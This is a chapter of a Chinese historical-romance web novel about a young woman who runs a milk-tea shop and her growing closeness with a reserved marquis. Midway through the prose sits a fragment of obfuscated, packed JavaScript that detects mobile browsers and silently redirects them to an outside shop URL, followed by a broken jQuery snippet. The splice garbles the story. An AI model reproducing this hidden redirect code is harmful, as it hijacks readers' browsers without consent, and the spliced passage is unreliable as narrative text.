姜甜发烧烧了两天。姜府虽对她多有怠慢,终究不愿她真的死了,派了郎中来看。她喝了三四日的苦药,把府里主子下人那些冷嘲热讽都当作耳旁风。她自能下地便开始在院中打太极,云薇劝她卧床休息,她反倒拉云薇一块儿强身健体。
如此过了数日,她借口要去舅母家还衣服道谢去了铺子里。
沁甜茶坊甫一开张,各位王公贵族都来尝鲜,日日爆单,店里忙得焦头烂额。现下运作了约摸十日,店中伙计们熟悉了流程,赵掌柜再新招了一个跑腿的,现下已称得上有模有样。只是若不乘胜追击怕是很快要后继无力,因此姜甜今日有两件大事要做。
第一还是研发新品。只有源源不断的新品才能保证营收长虹。
第二她得继续做营销,继侯府、皇城司和府衙造势过后,她又想到一个好去处。
这日午休时间,陆机与中书门下几名文官面圣奏事毕一并用饭,结束后照例乘着那顶乌檀青帘轿到东华巷取奶茶。现下皇城司已经习惯他隔三差五请大家喝奶茶了,连带着他“玉面阎罗”的恶名竟有所好转。
知砚不多时便取好了,上轿时眉飞色舞道,“今儿姜小姐在呢,又在研发新品了!”
陆机眼神一动,放下手中的书卷,“去看看。”
他下轿时敏锐地捕捉到知砚揶揄的眼神,立即凌厉地扫了他一眼,“我有事相商。”
知砚连忙敛了笑容,点头做出理解的模样,暗自腹诽道侯爷可是鲜少解释什么东西的。
一回生二回熟,伙计通报过片刻后,陆机撩开帘子进了铺子后院。是日细雨如丝,姜甜与几名小工挤在厨房和廊下调配食材。因是在自家店中,她照例并未戴着面纱。天气渐热,她扎了襻膊,两条脆生生的藕臂瞬间跳入眼帘,陆机下意识地移开了目光。
“侯爷来啦。”姜甜放下手上的活计熟稔地迎上来,“多谢侯爷时常光顾小店生意。端午那日更是多谢侯爷出手相助。”
语毕她去内院取来一个裹得方方正正的包袱,布料干净素雅,看不出来处,里面盛的自然是陆机那件织锦披风了。
“不必客气,是我该谢你。”陆机让知砚将东西收好,目光重新落在姜甜身上,“姜姑娘身体可好些了?”
七八日不见,她病过一场,精神却很好,明眸善睐、顾盼生姿。脸颊反而圆润了些,像一块糯米糍。
“无碍了,多谢侯爷挂怀。”姜甜笑盈盈地冲他一福身,“我们正调试新品。侯爷若不急着走,留下喝盏茶,一会儿帮我们参谋参谋?”
陆机正好有事想问她,微微低了低下巴算作应允,跟着她进了储物间。房门低矮,陆机进门时不慎在门上磕了一记,发出“咚”的一声巨响,吓得姜甜连忙折返上来查看。
“哎侯爷怎么这么不小心……”
二人还未回过神来,姜甜的手已经拂上陆机的额头,帮他揉了揉发红的地方。
指尖的触感细腻柔软,姜甜反应过来不妥立刻抽手装作若无其事地在小桌旁坐下,慢条斯理地给陆机倒了一杯茶。
陆机立在原地,怔愣地看着她这一套行云流水的动作。
除了他过世的娘亲,从来没有哪个女子这样碰过他。
“抱歉我失言了。小店简陋照顾不周,承蒙不弃……噗嗤。”姜甜抬头看到陆机眉心红了一片,没忍住笑出了声。
“……”陆机默默地坐下,好一会儿都没说话。
不是,这是什么情况?
姜甜无语地看着他的耳朵一点一点地红了起来,比店里榨的樱桃汁还红。他的皮肤白皙,这抹羞色显得格外扎眼。
一时间她的良心隐隐作痛。她不该这么随便上手的,没想到陆机这么纯情脸皮这么薄。
诡异的气氛持续片刻,陆机打破沉默,“你回去不曾被责罚吧?”
姜甜有些意外,她没想到陆机这样位高权重的男子会关心她这样一个小人物的琐事。
“多谢侯爷挂怀。我只说路上跌了跤,好在没人认出我,省去许多流言蜚语。父母责备几句总是有的,不算什么。”
“你当日救人之时,没有想过会有这些麻烦吗?”
姜甜微微一笑,“自然有过。我人微言轻,若不是形势危急当然是明哲保身为上,可实在顾不上那么多。我性格如此,行事冲动不计后果,如若哪日栽在这上头也只能认了。”
语毕她暗自思忖为何陆机会反复追问她救人的事情,联想到他问她是否精通医理,以及向她求教海姆立克之术,她内心大概有了猜想。
虽说与人交往切忌交浅言深,但横竖她没什么值得陆机贪图的,因此坦然地多说了几句:“我娘亲身子不好,常年缠绵病榻,我自小记事起便贴身照顾她。旁人有时对我娘说极难听的话,说她拖累了我不如早些去了,可我娘亲还是想活,我也想我娘亲活着。”
陆机向来平静的神色变了,放在桌上的手无意识地攥紧。
姜甜垂下眼帘继续娓娓道来,“只有常年照顾病人才知道人有多么坚强,造化何其神奇才孕育出一个生命,又是多么脆弱。我娘最后还是没了,我与她都尽了力。是以看着沈家小郎、那日落水的女子……我无法袖手旁观。”
她说的是她上一世的母亲,但很巧,这个世界的姜甜与她的生母也有类似的经历。
她抬起眼对上陆机的视线,他的眼眸无声地颤动着,无声地告诉她他有过同样的切肤之痛。
陆机看着她的脸庞,突然发现她左脸颊上有一颗极小的痣。黑的发,目如点星,唇色极淡,黑是黑、白是白,实在是干净。本是极其素雅的容貌,偏偏眼中如有一团火、一把星,熠熠生辉。
陡然间他生出一股类似嫉妒的情绪。他已许久没有过冲动的感觉。他的心火早已燃尽,如今只是灰烬中的一点余温仍在苦苦挣扎。
他几乎没有关注评判过任何女子的外貌。意识到自己的内心后他转开眼,纵使内心巨浪滔天,他却说不出一个字。
良久,他可耻地追问道,“你为什么愿意与我说这些?”
他有些赧然地瞥了她一眼,带着歉意。
她慷慨地将自己剖白,他却不能同样以诚相待。
怎料姜甜完全不在意,闻言展眉笑道,“可能因为侯爷长得好看吧。”
陆机一怔,继而愠怒道,“胡言乱语。”
姜甜也没想到怎么脱口而出把真心话说出了口,偏偏陆机这个样子让她更想逗他了,乘胜追击道,“我可是发自肺腑的,侯爷有什么不好意思的?长得好看就该大大方方的。”
陆机站起身来,身量与宽肩极具压迫感,把窗口照进来的天光都挡住了。姜甜连忙改口道,“好吧,我不说了。几款新品差不多该做好了,我们一起出去尝尝。”
往外走时她憋笑憋得肺疼。陆机人高马大的,怎么跟个被调戏的小媳妇似的。
“我还有公务,劳烦给我装盒携去。”
“好嘞。”
庭中雨更大了些,姜甜上前帮忙为陆机装好两杯奶茶递过去。陆机看她忙前忙后,思忖片刻道,“你可有什么困难?为何事事躬亲,经营得如此辛苦。”
上次给的谢礼果然太少了。
姜甜疑惑地睁大了眼,“没什么困难,一点儿也不辛苦。我就爱捣鼓这些吃食。看着客人们喜欢我的奶茶,我比做什么都高兴。当然挣钱也是极为紧要的,银子自然是越多越好。”
她笑得眉眼弯弯,陆机心下稍安。
送他走到店门口,陆机不知为何脚步有些滞涩。他盯着姜甜圆圆的后脑勺,想着下次见面不知是何时,装作不经意地询问道,“上次你身边的嬷嬷似乎提到你在议亲?对方人品如何?成亲后你的奶茶生意还继续做吗?”
他只是太喜欢喝她做的奶茶了。另外她品性纯善,若所嫁非人实在可惜。
姜甜愣了片刻。她这些天没怎么听到程家的事,差点把这桩事忘了。她厌烦地摆摆手,“我不想嫁。没事的,我总有办法。”
“嗯。”听她这么说陆机便放心了,迅速转移话题,“对了,那天你泅水的姿势很是新奇。”
“哦对。”姜甜不以为意地耸耸肩,“自由泳游得快,改日我教你。”
“你实在是……”陆机以为她又在调侃他,神色一变气得不与她说话了,招呼都没打抬脚便钻进了马车。
沁甜茶坊这回的新品有两样:酥山蜜瓜与青末凝乳茶。
时令的甜瓜解暑爽口并不稀奇,新鲜的是这青末凝乳茶,将绿茶研磨成粉末加入牛乳,口干香甜却略有苦味。大胤朝时兴点茶,可从未有将其与牛乳混煮之风。
只是此时的陆机不知为何,已尝不出来好不好喝、喜不喜欢。
-
田假过后,国子监监生返回上课,意外地发现门口支了一个新的小摊。
木质推车朴实无华算不上精美,上书一个大大的“甜”字印记,盖着厚厚一床棉被,挂着一块“沁甜茶坊”的小小牌匾。
全店唯一长得有些书香气息的赵掌柜亲自出马,掀起棉被一角开始吆喝,“夏日炎炎,最适合来一杯冰镇奶茶解渴!酥山樱桃、蜜瓜应有尽有,还有最新上市的青末凝乳茶,保管各位郎君闻所未闻、见所未见!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527275|203570||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>木车内装满晶莹剔透的冰块,散发着丝丝凉意,插着各色签子的木杯整齐地码成行列,均以藤条细细封住。
有眼尖的立刻认出来,“是那家一杯难求的奶茶店!”
“有芋泥米麻薯没有?”
近来芋泥米麻薯卖得很好,赵掌柜喜笑颜开,“有,必须有。”
不多时国子监门口便排起了长队。
这日陆楹放课归家后,一直等到酉时末陆机才下值回府。他一听仆从来报便兴冲冲地揣上东西去见陆机。
陆机今日跟随太子出巡查阅郊外农田田务及田亩税赋,处置了几个欺上瞒下克扣农种的粮吏和欺压田户的世家。他刚脱下一身银鳞软甲,汗水打湿了中衣,勾勒出他贲张的肌肉线条,与他俊秀清逸的容貌形成鲜明对比。
“哥!”陆楹径直闯进来目不斜视,“沁甜茶坊竟支了个小摊开到国子监门口来了!今日那掌柜的还托我给你带了东西。”
陆机本要骂他无礼擅闯,闻言一顿,朝他伸出手,“拿来。”
陆楹将一本软软的小册子交给他,一边惊奇地感叹,“没想到他们东家一双妙手会做奶茶还会画画。你捻着书页快快地翻,像皮影戏一样会动呢!”
陆机随手将软甲挂在木架上,来不及更衣便翻开那本巴掌大的小册。只见一个小人泅在水中,随着他快速翻动双手交替穿于水中,应该就是那日她说的“自由泳”。
每个小人不过寥寥几笔,可是竟生动异常。她的泳姿前所未见,画风亦是独树一帜,这翻页观影的巧思更是精妙,如同走马灯一般。陆机反复看了几遍,不自觉嘴角微陷露出一点笑意。
原来她说的“我教你”是这个意思……
他心生懊悔,原是他误会她了。
一直到入睡前陆机都忍不住频频拿出那本画本反复赏玩。睡意渐起之时,他犹豫地想道,若她是男子,他们应该会成为至交好友吧……
东华巷那个地方太窄了。她若想将生意做大,得找个宽敞些的地方才行。
-
陆机随太子巡田护驾有功,得圣上嘉奖,赏赐内廷制造局冰绡素罗数匹、和田青玉佩一对、沉水香一盒,翌日皇后娘娘于坤宁宫偏殿赐宴召见。
“听闻巡田起了刀剑,本宫闻之心惊。还好有子衡相护才能化险为夷。”
子衡是陆机的表字。
《说文解字》道:“主发谓之机。”原义为弓弩发射之部位,别名“衡机”,因此取字。
皇后娘娘一身真红凤纹大袖衫,举止之间华贵万千,微笑赞许道,“此事你办得极漂亮,杀鸡儆猴、敲山震虎,更贵在张弛有度。从前只知你们陆家用兵如神,不曾想你于政务上亦是个机灵的,如此必然前途无量啊。”
“皇后娘娘谬赞。”陆机恭敬地行了礼,“微臣不过听凭太子殿下安排罢了。”
“你不必自谦。”皇后抬手示意他起身,寒暄数句后切入正题,“陆家满门忠烈,你父亲兄长皆已为国捐躯。如今你已二十有五,圣上与本宫实不忍见你孑然一身孤苦伶仃。你若不嫌,本宫便来做这个媒人,为你推荐几位知书达理、温婉娴熟的贵女相看一番,你道如何?”
语毕她远远看向桌案后的陆机。他龙章凤姿,星眉朗目,气度沉静,岩岩若孤松之独立。无怪乎京中贵女对其趋之若鹜,她的内侄女亦央她来成全一桩好事。
“多谢皇后娘娘美意。然而微臣暂时不愿成家。”陆机毫不犹豫地回答。
皇后没想到他竟一口回绝,讶异道,“为何?成家立业传宗接代乃是人之大伦。你军功煊赫,西北局势稍安调你回京中官居四品,功业无需多言。此时不成家更待何时?”
殿中静了片刻。唯有桌上那尊天青釉莲瓣鸳鸯熏炉仍在孜孜不倦地吐出袅袅白烟,为殿中染上甘甜的沉水香气息。
本朝圣上和皇后都是极为宽厚、通情达理之人。陆机沉吟片刻,坦白了他不愿听凭父母之命媒妁之言成婚的原因。
他的兄长陆植年长他三岁,自幼与昭武将军之女孟允棠青梅竹马一起长大,感情甚笃,当真是一对璧人。然而婚后不过一年多,陆植便于战中丧命大漠乃至尸骨无存。
当老侯爷陆宗翰与陆机与西夏交战之时,孟允棠亲自率一队暗卫欲为陆植收敛遗骨,暗中探查三月有余,不幸落入敌军之手。孟允棠不愿受辱,领十八名暗卫一并自裁,尸首同样淹没于灵武沙碛漫漫黄沙之中。
说完这个故事,陆机再度陷入沉默。
“若我有一日命丧沙场,我希望……”他犹豫着开口,最终欲言又止,“微臣失言,请皇后娘娘宽宥。”